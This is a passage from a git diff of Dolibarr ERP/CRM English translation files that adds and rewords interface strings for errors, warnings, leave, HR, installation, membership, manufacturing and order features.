ErrorFailedToWriteInTempDirectory=Failed to write in temp directory ErrorQuantityIsLimitedTo=Quantity is limited to %s ErrorFailedToLoadThirdParty=Failed to find/load thirdparty from id=%s, email=%s, name=%s -ErrorThisPaymentModeIsNotSepa=This payment mode is not a bank account +ErrorThisPaymentModeIsNotSepa=This payment mode is not a bank account ErrorStripeCustomerNotFoundCreateFirst=Stripe customer is not set for this thirdparty (or set to a value deleted on Stripe side). Create (or re-attach) it first. -ErrorCharPlusNotSupportedByImapForSearch=IMAP search is not able to search into sender or recipient for a string containing the character + +ErrorCharPlusNotSupportedByImapForSearch=IMAP search is not able to search into sender or recipient for a string containing the character + ErrorTableNotFound=Table %s not found ErrorValueForTooLow=Value for %s is too low ErrorValueCantBeNull=Value for %s can't be null ErrorDateOfMovementLowerThanDateOfFileTransmission=The date of the bank transaction can't be lower than the date of the file transmission +ErrorTooMuchFileInForm=Too much files in form, the maximum number is %s file(s) +ErrorSessionInvalidatedAfterPasswordChange=The session was been invalidated following a change of password, status or dates of validity. Please relogin. +ErrorExistingPermission = Permission %s for object %s already exists +ErrorFieldExist=The value for %s already exist +ErrorEqualModule=Module invalid in %s +ErrorFieldValue=Value for %s is incorrect +ErrorCoherenceMenu=%s is required when %s is 'left' +ErrorUploadFileDragDrop=There was an error while the file(s) upload +ErrorUploadFileDragDropPermissionDenied=There was an error while the file(s) upload : Permission denied # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Your PHP parameter upload_max_filesize (%s) is higher than PHP parameter post_max_size (%s). This is not a consistent setup. @@ -314,7 +325,7 @@ WarningConfFileMustBeReadOnly=Warning, your config file (htdocs/conf/conf.php WarningsOnXLines=Warnings on %s source record(s) WarningNoDocumentModelActivated=No model, for document generation, has been activated. A model will be chosen by default until you check your module setup. WarningLockFileDoesNotExists=Warning, once setup is finished, you must disable the installation/migration tools by adding a file install.lock into directory %s. Omitting the creation of this file is a grave security risk. -WarningUntilDirRemoved=All security warnings (visible by admin users only) will remain active as long as the vulnerability is present (or that constant MAIN_REMOVE_INSTALL_WARNING is added in Setup->Other Setup). +WarningUntilDirRemoved=This security warning will remain active as long as the vulnerability is present. WarningCloseAlways=Warning, closing is done even if amount differs between source and target elements. Enable this feature with caution. WarningUsingThisBoxSlowDown=Warning, using this box slow down seriously all pages showing the box. WarningClickToDialUserSetupNotComplete=Setup of ClickToDial information for your user are not complete (see tab ClickToDial onto your user card). @@ -323,6 +334,7 @@ WarningPaymentDateLowerThanInvoiceDate=Payment date (%s) is earlier than invoice WarningTooManyDataPleaseUseMoreFilters=Too many data (more than %s lines). Please use more filters or set the constant %s to a higher limit. WarningSomeLinesWithNullHourlyRate=Some times were recorded by some users while their hourly rate was not defined. A value of 0 %s per hour was used but this may result in wrong valuation of time spent. WarningYourLoginWasModifiedPleaseLogin=Your login was modified. For security purpose you will have to login with your new login before next action. +WarningYourPasswordWasModifiedPleaseLogin=Your password was modified. For security purpose you will have to login now with your new password. WarningAnEntryAlreadyExistForTransKey=An entry already exists for the translation key for this language WarningNumberOfRecipientIsRestrictedInMassAction=Warning, number of different recipient is limited to %s when using the mass actions on lists WarningDateOfLineMustBeInExpenseReportRange=Warning, the date of line is not in the range of the expense report @@ -338,6 +350,7 @@ WarningPaypalPaymentNotCompatibleWithStrict=The value 'Strict' makes the online WarningThemeForcedTo=Warning, theme has been forced to %s by hidden constant MAIN_FORCETHEME WarningPagesWillBeDeleted=Warning, this will also delete all existing pages/containers of the website. You should export your website before, so you have a backup to re-import it later. WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Automatic validation is disabled when option to decrease stock is set on "Invoice validation". +WarningModuleNeedRefrech = Module %s has been disabled. Don't forget to enable it # Validate RequireValidValue = Value not valid diff --git a/htdocs/langs/en_US/eventorganization.lang b/htdocs/langs/en_US/eventorganization.lang index f9531260c97..e406566100e 100644 --- a/htdocs/langs/en_US/eventorganization.lang +++ b/htdocs/langs/en_US/eventorganization.lang @@ -54,6 +54,7 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = In the form to create/add an attendee, # Object # EventOrganizationConfOrBooth= Conference Or Booth +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = Manage the organization of an event ConferenceOrBooth = Conference Or Booth ConferenceOrBoothTab = Conference Or Booth @@ -114,8 +115,8 @@ EvntOrgRegistrationHelpMessage = Here, you can vote for a conference or suggest EvntOrgRegistrationConfHelpMessage = Here, you can suggest a new conference to animate during the event. EvntOrgRegistrationBoothHelpMessage = Here, you can apply to have a booth during the event. ListOfSuggestedConferences = List of suggested conferences -ListOfSuggestedBooths = List of suggested booths -ListOfConferencesOrBooths=List of conferences or booths of event project +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = Suggest a new conference SuggestBooth = Suggest a booth ViewAndVote = View and vote for suggested events @@ -171,3 +172,5 @@ ErrorSeveralCompaniesWithEmailContactUs=Several companies with this email has be ErrorSeveralCompaniesWithNameContactUs=Several companies with this name has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation NoPublicActionsAllowedForThisEvent=No public actions are open to public for this event MaxNbOfAttendees=Max number of attendees +DateStartEvent=Event start date +DateEndEvent=Event end date diff --git a/htdocs/langs/en_US/expensereports.lang b/htdocs/langs/en_US/expensereports.lang index f3b5f07f241..5a5e06cf9c7 100644 --- a/htdocs/langs/en_US/expensereports.lang +++ b/htdocs/langs/en_US/expensereports.lang @@ -108,7 +108,7 @@ TripId=Id expense report TripNDF=Informations expense report TripSociete=Information company Trips=Expense reports -TripsAndExpenses=Expenses reports +TripsAndExpenses=Expense reports TripsAndExpensesStatistics=Expense reports statistics TypeFees=Types of fees UploadANewFileNow=Upload a new document now diff --git a/htdocs/langs/en_US/holiday.lang b/htdocs/langs/en_US/holiday.lang index 1921b9ed794..0ec98d01a12 100644 --- a/htdocs/langs/en_US/holiday.lang +++ b/htdocs/langs/en_US/holiday.lang @@ -29,7 +29,7 @@ DescCP=Description SendRequestCP=Create leave request DelayToRequestCP=Leave requests must be made at least %s day(s) before them. MenuConfCP=Balance of leave -SoldeCPUser=Leave balance (in days) %s +SoldeCPUser=Leave balance (in days) : %s ErrorEndDateCP=You must select an end date greater than the start date. ErrorSQLCreateCP=An SQL error occurred during the creation: ErrorIDFicheCP=An error has occurred, the leave request does not exist. @@ -143,16 +143,16 @@ TemplatePDFHolidays=Template for leave requests PDF FreeLegalTextOnHolidays=Free text on PDF WatermarkOnDraftHolidayCards=Watermarks on draft leave requests HolidaysToApprove=Holidays to approve -NobodyHasPermissionToValidateHolidays=Nobody has permission to validate holidays -HolidayBalanceMonthlyUpdate=Monthly update of holiday balance +NobodyHasPermissionToValidateHolidays=Nobody has permission to validate leave requests +HolidayBalanceMonthlyUpdate=Monthly update of leave balance XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted -IncreaseHolidays=Increase holiday -HolidayRecordsIncreased= %s holiday records increased -HolidayRecordIncreased=Holiday record increased -ConfirmMassIncreaseHoliday=Bulk holiday increase +IncreaseHolidays=Increase leave balance +HolidayRecordsIncreased= %s leave balances increased +HolidayRecordIncreased=Leave balance increased +ConfirmMassIncreaseHoliday=Bulk leave balance increase NumberDayAddMass=Number of day to add to the selection ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/en_US/hrm.lang b/htdocs/langs/en_US/hrm.lang index 966f2399a13..b31df5ee605 100644 --- a/htdocs/langs/en_US/hrm.lang +++ b/htdocs/langs/en_US/hrm.lang @@ -26,8 +26,8 @@ HRM_DEFAULT_SKILL_DESCRIPTION=Default description of ranks when skill is created deplacement=Shift DateEval=Evaluation date JobCard=Job card -JobPosition=Job profile -JobsPosition=Job profiles +JobProfile=Job profile +JobsProfiles=Job profiles NewSkill=New Skill SkillType=Skill type Skilldets=List of ranks for this skill @@ -46,14 +46,14 @@ NewEval=New evaluation ValidateEvaluation=Validate evaluation ConfirmValidateEvaluation=Are you sure you want to validate this evaluation with reference %s? EvaluationCard=Evaluation card -RequiredRank=Required rank for this job +RequiredRank=Required rank for the job profile EmployeeRank=Employee rank for this skill EmployeePosition=Employee position EmployeePositions=Employee positions EmployeesInThisPosition=Employees in this position group1ToCompare=Usergroup to analyze group2ToCompare=Second usergroup for comparison -OrJobToCompare=Compare to job skills requirements +OrJobToCompare=Compare to skill requirements of a job profile difference=Difference CompetenceAcquiredByOneOrMore=Competence acquired by one or more users but not requested by the second comparator MaxlevelGreaterThan=Max level greater than the one requested @@ -86,7 +86,7 @@ SaveAddSkill = Skill(s) added SaveLevelSkill = Skill(s) level saved DeleteSkill = Skill removed SkillsExtraFields=Attributs supplémentaires (Compétences) -JobsExtraFields=Attributs supplémentaires (Emplois) +JobsExtraFields=Attributs supplémentaires (Job profile) EvaluationsExtraFields=Attributs supplémentaires (Evaluations) NeedBusinessTravels=Need business travels NoDescription=No description \ No newline at end of file diff --git a/htdocs/langs/en_US/install.lang b/htdocs/langs/en_US/install.lang index d0c841fe802..58e57018ac3 100644 --- a/htdocs/langs/en_US/install.lang +++ b/htdocs/langs/en_US/install.lang @@ -88,7 +88,7 @@ LoginAlreadyExists=Already exists DolibarrAdminLogin=Dolibarr admin login AdminLoginAlreadyExists=Dolibarr administrator account '%s' already exists. Go back if you want to create another one. FailedToCreateAdminLogin=Failed to create Dolibarr administrator account. -WarningRemoveInstallDir=Warning, for security reasons, once the install or upgrade is complete, you should add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Not available in this PHP ChoosedMigrateScript=Choose migration script DataMigration=Database migration (data) @@ -208,8 +208,10 @@ HideNotAvailableOptions=Hide unavailable options ErrorFoundDuringMigration=Error(s) were reported during the migration process so next step is not available. To ignore errors, you can click here, but the application or some features may not work correctly until the errors are resolved. YouTryInstallDisabledByDirLock=The application tried to self-upgrade, but the install/upgrade pages have been disabled for security (directory renamed with .lock suffix).
      YouTryInstallDisabledByFileLock=The application tried to self-upgrade, but the install/upgrade pages have been disabled for security (by the existence of a lock file install.lock in the dolibarr documents directory).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Click here to go to your application ClickOnLinkOrRemoveManualy=If an upgrade is in progress, please wait. If not, click on the following link. If you always see this same page, you must remove/rename the file install.lock in the documents directory. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Loaded FunctionTest=Function test NodoUpgradeAfterDB=No action requested by external modules after upgrade of database diff --git a/htdocs/langs/en_US/interventions.lang b/htdocs/langs/en_US/interventions.lang index c93a5c4db09..b92474e7f91 100644 --- a/htdocs/langs/en_US/interventions.lang +++ b/htdocs/langs/en_US/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Hides hours and minutes off the date field for int InterventionStatistics=Statistics of interventions NbOfinterventions=No. of intervention cards NumberOfInterventionsByMonth=No. of intervention cards by month (date of validation) -AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). Add option PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT to 1 into home-setup-other to include them. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=Intervention id InterRef=Intervention ref. InterDateCreation=Date creation intervention @@ -68,4 +68,5 @@ ConfirmReopenIntervention=Are you sure you want to open back the intervention %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/en_US/main.lang b/htdocs/langs/en_US/main.lang index 6f849e39be1..09627d5a3b0 100644 --- a/htdocs/langs/en_US/main.lang +++ b/htdocs/langs/en_US/main.lang @@ -206,6 +206,7 @@ Valid=Valid Approve=Approve Disapprove=Disapprove ReOpen=Re-Open +OpenVerb=Open Upload=Upload ToLink=Link Select=Select @@ -225,6 +226,7 @@ NoUserGroupDefined=No user group defined Password=Password PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Note that a lot of features/modules are disabled in this demonstration. +YourUserFile=Your user file Name=Name NameSlashCompany=Name / Company Person=Person @@ -310,6 +312,8 @@ UserValidation=Validation user UserCreationShort=Creat. user UserModificationShort=Modif. user UserValidationShort=Valid. user +UserClosing=Closing user +UserClosingShort=Closing user DurationYear=year DurationMonth=month DurationWeek=week @@ -488,6 +492,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=Events about this member ActionsOnProduct=Events about this product +ActionsOnAsset=Events for this fixed asset NActionsLate=%s late ToDo=To do Completed=Completed @@ -511,6 +516,7 @@ NotYetAvailable=Not yet available NotAvailable=Not available Categories=Tags/categories Category=Tag/category +SelectTheTagsToAssign=Select the tags/categories to assign By=By From=From FromDate=From @@ -895,6 +901,9 @@ MassFilesArea=Area for files built by mass actions ShowTempMassFilesArea=Show area of files built by mass actions ConfirmMassDeletion=Bulk Delete confirmation ConfirmMassDeletionQuestion=Are you sure you want to delete the %s selected record(s)? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Related Objects ClassifyBilled=Classify billed ClassifyUnbilled=Classify unbilled @@ -910,13 +919,14 @@ ExportFilteredList=Export filtered list ExportList=Export list ExportOptions=Export Options IncludeDocsAlreadyExported=Include docs already exported -ExportOfPiecesAlreadyExportedIsEnable=Export of pieces already exported is enable -ExportOfPiecesAlreadyExportedIsDisable=Export of pieces already exported is disable +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=All exported movements were recorded as exported NotAllExportedMovementsCouldBeRecordedAsExported=Not all exported movements could be recorded as exported Miscellaneous=Miscellaneous Calendar=Calendar GroupBy=Group by... +GroupByX=Group by %s ViewFlatList=View flat list ViewAccountList=View ledger ViewSubAccountList=View subaccount ledger @@ -1054,6 +1064,7 @@ SearchIntoContracts=Contracts SearchIntoCustomerShipments=Customer shipments SearchIntoExpenseReports=Expense reports SearchIntoLeaves=Leave +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Vendor payments @@ -1125,6 +1136,7 @@ DeleteFileText=Do you really want delete this file? ShowOtherLanguages=Show other languages SwitchInEditModeToAddTranslation=Switch in edit mode to add translations for this language NotUsedForThisCustomer=Not used for this customer +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Amount must be positive ByStatus=By status InformationMessage=Information @@ -1145,13 +1157,18 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=On hold Civility=Civility -AffectTag=Affect Tag -SetSupervisor=Set Supervisor +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) ConfirmSetSupervisor=Bulk Supervisor Set ConfirmUpdatePrice=Choose a increase/decrease price rate -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records @@ -1162,6 +1179,7 @@ InformationOnLinkToContract=This amount is only the total of all the lines of th ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1190,8 +1208,8 @@ Terminated=Terminated AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check @@ -1201,3 +1219,15 @@ CreatedByPublicPortal=Created from Public portal UserAgent=User Agent InternalUser=Internal user ExternalUser=External user +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date +PublicVirtualCardUrl=Virtual business card page URL +PublicVirtualCard=Virtual business card +TreeView=Tree view +DropFileToAddItToObject=Drop a file to add it to this object +UploadFileDragDropSuccess=The file(s) have been uploaded successfully diff --git a/htdocs/langs/en_US/margins.lang b/htdocs/langs/en_US/margins.lang index a91b139ec7b..9101966eff2 100644 --- a/htdocs/langs/en_US/margins.lang +++ b/htdocs/langs/en_US/margins.lang @@ -6,6 +6,7 @@ TotalMargin=Total Margin MarginOnProducts=Margin / Products MarginOnServices=Margin / Services MarginRate=Margin rate +ModifyMarginRates=Modify margin rates MarkRate=Mark rate DisplayMarginRates=Display margin rates DisplayMarkRates=Display mark rates diff --git a/htdocs/langs/en_US/members.lang b/htdocs/langs/en_US/members.lang index dfb4ed1d0bd..3251618032f 100644 --- a/htdocs/langs/en_US/members.lang +++ b/htdocs/langs/en_US/members.lang @@ -4,6 +4,8 @@ MemberCard=Member card SubscriptionCard=Subscription card Member=Member Members=Members +NoRecordedMembers=No recorded members +NoRecordedMembersByType=No recorded members ShowMember=Show member card UserNotLinkedToMember=User not linked to a member ThirdpartyNotLinkedToMember=Third party not linked to a member @@ -25,6 +27,8 @@ MembersListNotUpToDate=List of valid members with out-of-date contribution MembersListExcluded=List of excluded members MembersListResiliated=List of terminated members MembersListQualified=List of qualified members +MembersShowMembershipTypesTable=Show a table of all available membership types (if no, show directly the registration form) +MembersShowVotesAllowed=Show whether votes are allowed, in the table of membership types MenuMembersToValidate=Draft members MenuMembersValidated=Validated members MenuMembersExcluded=Excluded members @@ -74,12 +78,12 @@ MemberTypeCanNotBeDeleted=Member type can not be deleted NewSubscription=New contribution NewSubscriptionDesc=This form allows you to record your subscription as a new member of the foundation. If you want to renew your subscription (if already a member), please contact foundation board instead by email %s. Subscription=Contribution -AnyAmountWithAdvisedAmount=Any amount with a recommended amount of %s %s -AnyAmountWithoutAdvisedAmount=Any amount +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice CanEditAmountShort=Any amount CanEditAmountShortForValues=recommended, any amount MembershipDuration=Duration -GetMembershipButtonLabel=Get membership +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Late SubscriptionNotReceived=Contribution never received @@ -98,7 +102,7 @@ MorAndPhy=Corporation and Individual Reenable=Re-Enable ExcludeMember=Exclude a member Exclude=Exclude -ConfirmExcludeMember=Are you sure you want to exclude this member ? +ConfirmExcludeMember=Are you sure you want to exclude this member ? ResiliateMember=Terminate a member ConfirmResiliateMember=Are you sure you want to terminate this member? DeleteMember=Delete a member @@ -199,17 +203,19 @@ LastMemberDate=Latest membership date LatestSubscriptionDate=Latest contribution date MemberNature=Nature of the member MembersNature=Nature of the members -Public=Information is public +Public=%s can publish my membership in the public register NewMemberbyWeb=New member added. Awaiting approval NewMemberForm=New member form SubscriptionsStatistics=Contributions statistics NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Turnover (for a company) or Budget (for a foundation) -DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution regardless of the member type +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=Subscription amount can be defined by the member +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type AmountIsLowerToMinimumNotice=sur un dû total de %s -MEMBER_NEWFORM_PAYONLINE=Jump on integrated online payment page +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=By nature MembersStatisticsByProperties=Members statistics by nature VATToUseForSubscriptions=VAT rate to use for contributionss @@ -229,4 +235,6 @@ ForceMemberNature=Force member nature (Individual or Corporation) CreateDolibarrLoginDesc=The creation of a user login for members allows them to connect to the application. Depending on the authorizations granted, they will be able, for example, to consult or modify their file themselves. CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname -MemberLastname=Member lastname \ No newline at end of file +MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members +NoRecordedMembers=No registered member diff --git a/htdocs/langs/en_US/modulebuilder.lang b/htdocs/langs/en_US/modulebuilder.lang index cefdfaa1b41..edcb5923af0 100644 --- a/htdocs/langs/en_US/modulebuilder.lang +++ b/htdocs/langs/en_US/modulebuilder.lang @@ -165,3 +165,15 @@ BadValueForType=Bad value for type %s DefinePropertiesFromExistingTable=Define properties from an existing table DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. +GeneratePermissions=I want to add the rights for this object +GeneratePermissionsHelp=generate default rights for this object +PermissionDeletedSuccesfuly=Permission has been successfully removed +PermissionUpdatedSuccesfuly=Permission has been successfully updated +PermissionAddedSuccesfuly=Permission has been successfully added +MenuDeletedSuccessfuly=Menu has been successfully deleted +MenuAddedSuccessfuly=Menu has been successfully added +MenuUpdatedSuccessfuly=Menu has been successfully updated +ApiObjectDeleted=API for object %s has been successfully deleted +CRUDRead=Read +CRUDCreateWrite=Create or Update +FailedToAddCodeIntoDescriptor=Failed to add code into descriptor. Check that the string comment "%s" is still present into the file. \ No newline at end of file diff --git a/htdocs/langs/en_US/mrp.lang b/htdocs/langs/en_US/mrp.lang index 82196b584bd..6e80c399ae3 100644 --- a/htdocs/langs/en_US/mrp.lang +++ b/htdocs/langs/en_US/mrp.lang @@ -11,8 +11,8 @@ Bom=Bills of Material BillOfMaterials=Bill of Materials BillOfMaterialsLines=Bill of Materials lines BOMsSetup=Setup of module BOM -ListOfBOMs=List of bills of material - BOM -ListOfManufacturingOrders=List of Manufacturing Orders +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Manufacturing Orders NewBOM=New bill of materials ProductBOMHelp=Product to create (or disassemble) with this BOM.
      Note: Products with the property 'Nature of product' = 'Raw material' are not visible into this list. BOMsNumberingModules=BOM numbering templates @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Are you sure you want to clone the bill of materials ConfirmCloneMo=Are you sure you want to clone the Manufacturing Order %s ? ManufacturingEfficiency=Manufacturing efficiency ConsumptionEfficiency=Consumption efficiency +Consumption=Consumption ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly ValueOfMeansLossForProductProduced=Value of 0.95 means an average of 5%% of loss of produced product DeleteBillOfMaterials=Delete Bill Of Materials @@ -101,6 +102,7 @@ NbOperatorsRequired=Number of operators required THMOperatorEstimated=Estimated operator THM THMMachineEstimated=Estimated machine THM WorkstationType=Workstation type +DefaultWorkstation=Default workstation Human=Human Machine=Machine HumanMachine=Human / Machine @@ -115,3 +117,8 @@ ParentMo=MO Parent MOChild=MO Child BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services +Manufacturing=Manufacturing +Disassemble=Disassemble +ProducedBy=Produced by diff --git a/htdocs/langs/en_US/multicurrency.lang b/htdocs/langs/en_US/multicurrency.lang index 26313c6bfb9..0345c946ce0 100644 --- a/htdocs/langs/en_US/multicurrency.lang +++ b/htdocs/langs/en_US/multicurrency.lang @@ -36,3 +36,7 @@ Codemulticurrency=currency code UpdateRate=change the rate CancelUpdate=cancel NoEmptyRate=The rate field must not be empty +CurrencyCodeId=Currency ID +CurrencyCode=Currency code +CurrencyUnitPrice=Unit price in foreign currency +CurrencyPrice=Price in foreign currency diff --git a/htdocs/langs/en_US/oauth.lang b/htdocs/langs/en_US/oauth.lang index 01bb08e38bd..9d4791a9f63 100644 --- a/htdocs/langs/en_US/oauth.lang +++ b/htdocs/langs/en_US/oauth.lang @@ -31,8 +31,9 @@ OAUTH_GITHUB_SECRET=OAuth GitHub Secret OAUTH_URL_FOR_CREDENTIAL=Go to this page to create or get your OAuth ID and Secret OAUTH_STRIPE_TEST_NAME=OAuth Stripe Test OAUTH_STRIPE_LIVE_NAME=OAuth Stripe Live -OAUTH_ID=OAuth ID +OAUTH_ID=OAuth Client ID OAUTH_SECRET=OAuth secret +OAUTH_TENANT=OAuth tenant OAuthProviderAdded=OAuth provider added AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=An OAuth entry for this provider and label already exists URLOfServiceForAuthorization=URL provided by OAuth service for authentication diff --git a/htdocs/langs/en_US/orders.lang b/htdocs/langs/en_US/orders.lang index aa7dd934ede..4be2b34fd73 100644 --- a/htdocs/langs/en_US/orders.lang +++ b/htdocs/langs/en_US/orders.lang @@ -96,6 +96,10 @@ OrdersStatisticsSuppliers=Purchase order statistics NumberOfOrdersByMonth=Number of orders by month AmountOfOrdersByMonthHT=Amount of orders by month (excl. tax) ListOfOrders=List of orders +ListOrderLigne=Lines of orders +productobuy=Products to buy only +productonly=Products only +disablelinefree=No lines free CloseOrder=Close order ConfirmCloseOrder=Are you sure you want to set this order to delivered? Once an order is delivered, it can be set to billed. ConfirmDeleteOrder=Are you sure you want to delete this order? @@ -131,6 +135,7 @@ SupplierOrderClassifiedBilled=Purchase Order %s set billed OtherOrders=Other orders SupplierOrderValidatedAndApproved=Supplier order is validated and approved : %s SupplierOrderValidated=Supplier order is validated : %s +OrderShowDetail=Show order detail ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=Representative following-up sales order TypeContact_commande_internal_SHIPPING=Representative following-up shipping @@ -199,3 +204,5 @@ StatusSupplierOrderApproved=Approved StatusSupplierOrderRefused=Refused StatusSupplierOrderReceivedPartially=Partially received StatusSupplierOrderReceivedAll=All products received +NeedAtLeastOneInvoice = There has to be at least one Invoice +LineAlreadyDispatched = The order line is already received. \ No newline at end of file diff --git a/htdocs/langs/en_US/other.lang b/htdocs/langs/en_US/other.lang index d5701ba2224..d4fb27b508e 100644 --- a/htdocs/langs/en_US/other.lang +++ b/htdocs/langs/en_US/other.lang @@ -5,6 +5,7 @@ Tools=Tools TMenuTools=Tools ToolsDesc=All tools not included in other menu entries are grouped here.
      All the tools can be accessed via the left menu. Birthday=Birthday +BirthdayAlert=Birthday alert BirthdayAlertOn=birthday alert active BirthdayAlertOff=birthday alert inactive TransKey=Translation of the key TransKey @@ -40,6 +41,7 @@ notiftofixedemail=To fixed mail notiftouserandtofixedemail=To user and fixed mail Notify_ORDER_VALIDATE=Sales order validated Notify_ORDER_SENTBYMAIL=Sales order sent by mail +Notify_ORDER_CLOSE=Sales order delivered Notify_ORDER_SUPPLIER_SENTBYMAIL=Purchase order sent by email Notify_ORDER_SUPPLIER_VALIDATE=Purchase order recorded Notify_ORDER_SUPPLIER_APPROVE=Purchase order approved @@ -187,23 +189,12 @@ AuthenticationDoesNotAllowSendNewPassword=Authentication mode is %s.
      I EnableGDLibraryDesc=Install or enable GD library on your PHP installation to use this option. ProfIdShortDesc=Prof Id %s is an information depending on third party country.
      For example, for country %s, it's code %s. DolibarrDemo=Dolibarr ERP/CRM demo +StatsByAmount=Statistics on amount of products/services StatsByNumberOfUnits=Statistics for sum of qty of products/services StatsByNumberOfEntities=Statistics for number of referring entities (no. of invoices, or orders...) -NumberOfProposals=Number of proposals -NumberOfCustomerOrders=Number of sales orders -NumberOfCustomerInvoices=Number of customer invoices -NumberOfSupplierProposals=Number of vendor proposals -NumberOfSupplierOrders=Number of purchase orders -NumberOfSupplierInvoices=Number of vendor invoices -NumberOfContracts=Number of contracts -NumberOfMos=Number of manufacturing orders -NumberOfUnitsProposals=Number of units on proposals -NumberOfUnitsCustomerOrders=Number of units on sales orders -NumberOfUnitsCustomerInvoices=Number of units on customer invoices -NumberOfUnitsSupplierProposals=Number of units on vendor proposals -NumberOfUnitsSupplierOrders=Number of units on purchase orders -NumberOfUnitsSupplierInvoices=Number of units on vendor invoices -NumberOfUnitsContracts=Number of units on contracts +NumberOf=Number of %s +NumberOfUnits=Number of units on %s 